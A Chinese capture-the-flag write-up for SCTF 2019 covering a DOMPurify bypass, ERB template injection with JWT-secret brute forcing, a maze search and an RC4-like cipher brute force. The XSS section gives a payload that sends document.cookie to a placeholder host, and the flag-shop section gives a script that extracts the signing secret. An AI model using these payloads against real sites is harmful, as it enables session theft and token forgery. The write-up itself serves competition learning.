内容简介:刚刚毕业,正好周末遇上SCTF,打了两天,这里记录一下做的几道题启用了Dompurify,且配置文件分析了页面里的js代码
刚刚毕业,正好周末遇上SCTF,打了两天,这里记录一下做的几道题
math-is-fun1
题目给了个在线编辑器
http://47.110.128.101/challenge?name=Challenger
可以提交一个url到服务器,结合hint确定是要xss了
http://47.110.128.101/send_message.html启用了Dompurify,且配置文件 http://47.110.128.101/config 如下
({"SAFE_FOR_JQUERY":true,"ALLOWED_TAGS":["style","img","video"],"ALLOWE
D_ATTR":["style","src","href"],"FORBID_TAGS":["base","svg","link","iframe","frame","embed"]})
分析了页面里的js代码
渲染流程如下:
- 服务器将name参数拼接到一个config类型的script标签中
- 读取上面那个标签的内容并解析然后给window[]赋值 (这里可以变量覆盖)
- 将config[name]拼接到textarea中
- 读取location.search中的text,URLdecode后覆盖textarea
- 监听textarea变化后会执行如下事件
- 读取textarea的内容
- Dompurify过滤 (上面发的先知链接已经被修复)
- markdown渲染 (不知道用的啥库)
- latex渲染 (用的mathjax2.7.5不存在已知xss)
- 插入页面
猜测是要覆盖DOMPurify的某些变量,能够使其失效,翻看Dompurify的源码
https://github.com/cure53/DOMPurify/blob/c57dd450d8613fddfda67ad182526f371b4638fd/src/purify.js :966
当 DOMPurify.isSupported 为 false ,则能够绕过过滤
于是构造
name=a;alert(1);%0aDOMPurify[%27isSupported%27]%3dfalse&text=<script>alert(1)
把 DOMPurify.isSupported 设置为false,text参数的值就能直接插入页面中,造成xss
(这里不知道为啥 text=<script>alert(1) 直接就绕过csp弹窗了,可能是非预期
最后payload:
name=a;alert(1);%0aDOMPurify[%27isSupported%27]%3dfalse&text=<script>window.location.href%3d"http://xxxx.xxxx/?a%3d"%2bescape(document.cookie)
两题都可以用这个paylaod打
math-is-fun2
题解同上,
payload:
name=a;alert(1);%0aDOMPurify[%27isSupported%27]%3dfalse&text=<script>window.location.href%3d"http://xxxx.xxxx/?a%3d"%2bescape(document.cookie)
flag shop
robots.txt提示/filebak,访问后拿到源码:
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'
set :public_folder, File.dirname(__FILE__) + '/static'
FLAGPRICE = 1000000000000000000000000000
#ENV["SECRET"] = SecureRandom.hex(xx)
configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end
get "/" do
redirect '/shop', 302
end
get "/filebak" do
content_type :text
erb IO.binread __FILE__
end
get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end
get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end
get "/shop" do
erb :shop
end
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]}is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]}working successfully!')</script>").result
end
end
post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
if auth[0]["jkl"] < FLAGPRICE then
json({title: "error",message: "no enough jkl"})
else
auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end
def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end
发现
ERB::new("<script>alert('#{params[:name][0,7]}working successfully!')</script>").result
存在erb模版注入,构造name为 <%=$~%> ,do为 <%=$~%> is working ,结合
ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}"),
其中的 SECRET 参数可控,如果匹配到SECRET,则 $~ (ruby特性,表示最近一次正则匹配结果) 会在页面中返回,于是可以爆破secret,然后伪造JWT去买flag。
爆破脚本如下:
import requests
import base64
url = "http://47.110.15.101"
re = requests.session()
re.get(url + "/api/auth")
flag = "09810e652ce9fa4882fe4875c"
while True:
i = ""
for i in "0123456789abcdef":
#now = flag + i
now = i + flag
res = re.get(url + "/work?name=%3c%25%3d%24%7e%25%3e&do=%3c%25%3d%24%7e%25%3e%20is%20working&SECRET="+now)
if len(res.text) > 48:
print res.text
print flag
flag = now
break
print flag
拿到SECRET后就是伪造cookie去买flag了
Maaaaaaze
题目意思是找100*100的迷宫中任意两点最大路径
于是把html处理一下,然后任意取一个点作为起点,扔到dfs里跑最长路径,等跑不动的时候拿当前最长路径的重点作为起点再扔进dfs去跑,最后就得到答案 4056 了
脚本如下(好久没写算法了还真有点手生):
import sys
sys.setrecursionlimit(100000)
file = open("sctfmaze.txt")
maze = [[0 for j in range(0, 100)] for i in range(0, 100)]
vis = [[0 for j in range(0, 100)] for i in range(0, 100)]
class Node:
t = 0
r = 0
b = 0
l = 0
#print maze
for line in file:
a = line[:-1].split(" ")
#print a
n = Node()
for i in range(2,len(a)):
#print a[i],
if a[i] == '0' :
n.t = 1
if a[i] == '1' :
n.r = 1
if a[i] == '2' :
n.b = 1
if a[i] == '3' :
n.l = 1
#print a[i],
#print
maze[int(a[0])][int(a[1])] = n
#print a[0],a[1],maze[int(a[0])][int(a[1])].b
#exit()
def check(i,j):
if i>=100 or i<0 or j>=100 or j<0:
return False
if vis[i][j] == 1:
return False
return True
def printmap():
global vis
for i in range(0,100):
for j in range(0,100):
if vis[i][j] == 1:
print "%2d%2d" % (i,j)
print " "
maxx = 0
print maxx,i,j
def dfs(i,j,n):
global maxx
global vis
global maze
n += 1
#print maxx,i,j,n,maze[i][j].t,maze[i][j].r,maze[i][j].b,maze[i][j].l
if n>maxx:
print n,i,j
#print n,i,j,maze[i][j].t,maze[i][j].r,maze[i][j].b,maze[i][j].l
maxx = n
if check(i-1,j) and maze[i][j].t == 0:
vis[i-1][j] = 1
dfs(i-1,j,n)
vis[i-1][j] = 0
if check(i,j+1) and maze[i][j].r == 0:
vis[i][j+1] = 1
dfs(i,j+1,n)
vis[i][j+1] = 0
if check(i+1,j) and maze[i][j].b == 0:
vis[i+1][j] = 1
dfs(i+1,j,n)
vis[i+1][j] = 0
if check(i,j-1) and maze[i][j].l == 0:
vis[i][j-1] = 1
dfs(i,j-1,n)
vis[i][j-1] = 0
vis[70][22] = 1
dfs(70,22,0)
exit()
for i in range(0,100):
for j in range(0,100):
#print i,j
vis[i][j] = 1
dfs(i,j,0)
vis[i][j] = 0
music
这是道逆向题,前面是队友做的,到我这给了我一个 java 的加密类和密文与密钥,要求解出明文
public class c
{
private static int m = 256;
public String a(String paramString1, String paramString2)
{
int i = m;
int[] arrayOfInt = new int[i];
byte[] arrayOfByte = new byte[i];
for (i = 0; i < m; i++)
{
arrayOfInt[i] = i;
arrayOfByte[i] = ((byte)(byte)paramString2.charAt(i % paramString2.length()));
}
i = 0;
int j = 0;
for (;;)
{
k = m;
if (i >= k - 1) {
break;
}
j = (arrayOfInt[i] + j + arrayOfByte[i]) % k;
k = arrayOfInt[i];
arrayOfInt[i] = arrayOfInt[j];
arrayOfInt[j] = k;
i++;
}
paramString2 = paramString1.toCharArray();
paramString1 = new char[paramString1.length()];
int k = 0;
j = 0;
for (i = 0; i < paramString2.length; i++)
{
int n = m;
k = (k + 1) % n;
j = (arrayOfInt[k] + j) % n;
int i1 = arrayOfInt[k];
arrayOfInt[k] = arrayOfInt[j];
arrayOfInt[j] = i1;
int i2 = arrayOfInt[k];
i1 = arrayOfInt[k];
paramString1[i] = ((char)(char)(paramString2[i] - k ^ (char)arrayOfInt[((i2 + i1 % n) % n)]));
}
new p();
return p.a(new String(paramString1).getBytes());
}
}
分析加密类之后可以知道每个字符进去后输出的密文都是一个固定的字符串
于是直接爆破每一位
import java.lang.String;
public class Main{
public static void main(String[] args){
c a = new c();
String flag = "sctf{";
String printable = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-.:;<=>?@[]^_{|}~";
String ss = "C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B53";
for(int j=0;j<100;j++)
{
for(int i=0;i<printable.length();i++)
{
String now= flag + printable.charAt(i);
//System.out.println(now);
String d = a.a(now,"E7E64BF658BAB14A25C9D67A054CEBE5");
if(ss.indexOf(d) == 0)
{
System.out.println("flag: " + now);
flag = now;
}
}
//break;
}
}
}
以上所述就是小编给大家介绍的《2019 SCTF 部分 WriteUp》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 你负责人工智能哪部分?人工那部分;知识图谱的构建主要靠人工还是机器?
- cocosdx接bugly,上传符号表,有一部分内容解析出来了, 另一部分没有解析出来
- GO的部分总结~
- MySQL基础部分总结
- python字典实例(部分)
- DDCTF2018 部分writeup
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Web Security Testing Cookbook
Paco Hope、Ben Walther / O'Reilly Media / 2008-10-24 / USD 39.99
Among the tests you perform on web applications, security testing is perhaps the most important, yet it's often the most neglected. The recipes in the Web Security Testing Cookbook demonstrate how dev......一起来看看 《Web Security Testing Cookbook》 这本书的介绍吧!